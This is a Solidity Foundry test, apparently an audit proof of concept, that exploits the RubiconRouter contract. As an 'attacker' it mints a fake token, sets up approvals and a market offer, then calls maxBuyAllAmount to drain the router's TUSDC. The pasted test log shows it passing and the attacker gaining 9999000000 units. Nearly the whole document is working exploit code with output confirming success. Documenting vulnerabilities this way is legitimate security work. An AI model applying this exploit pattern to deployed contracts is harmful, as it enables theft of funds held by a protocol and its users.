import "../../contracts/utilities/RubiconRouter.sol";
import "forge-std/StdUtils.sol";
  function test_WithRouter() public {
    RubiconRouter router = new RubiconRouter();
    router.startErUp(address(market), payable(address(WETH)));

    address attacker = 0x000000000000000000000000000000000000dACa;
    uint256 routerBalance = 1e10;
    deal(address(TUSDC), address(router), routerBalance); // Set this to simulate current router balance
    deal(address(TUSDC), attacker, 1+1);
    vm.deal(attacker, 1 ether);

    vm.startPrank(attacker);

    // create fake coin which only attacker can mint
    TokenWithFaucet FAKE = new TokenWithFaucet(attacker, "Fake", "FAKE", 18);
    FAKE.adminMint();

    FAKE.approve(address(market), type(uint256).max);
    TUSDC.approve(address(market), type(uint256).max);
    FAKE.approve(address(router), type(uint256).max);
    TUSDC.approve(address(router), type(uint256).max);

    // Create approval for fake coin (otherwise market will not be able to transfer fake coins from router)
    router.offerWithETH{value: 1}(1 /* ETH */, 1, FAKE, 0, attacker);
    router.buyAllAmountForETH(1, FAKE, 1);

    // Assume TEST is a fake token only attacker can mint
    uint256 fees = (routerBalance * (market.getFeeBPS() + market.makerFee())) / 100_000;
    market.offer(1, TUSDC, routerBalance, FAKE, 0, attacker, attacker); // offer 1 usdc for a lot of fake coin

    assertEq(TUSDC.balanceOf(attacker), 1);

    FAKE.transfer(address(router), routerBalance + fees); // give router fake coins so it can buy the offer
    router.maxBuyAllAmount(TUSDC, FAKE, type(uint256).max); // pay 1 usdc for a lot of usdc instead of fake coin (because of the vulnerability)

    assertGt(TUSDC.balanceOf(attacker), 1);
    console.log(TUSDC.balanceOf(attacker));
  }
Running 1 test for test/foundry-tests/ProtocolDeployment.t.sol:ProtocolDeploymentTest
[PASS] test_WithRouter() (gas: 5216320)
Logs:
  9999000000

Test result: ok. 1 passed; 0 failed; finished in 20.86ms
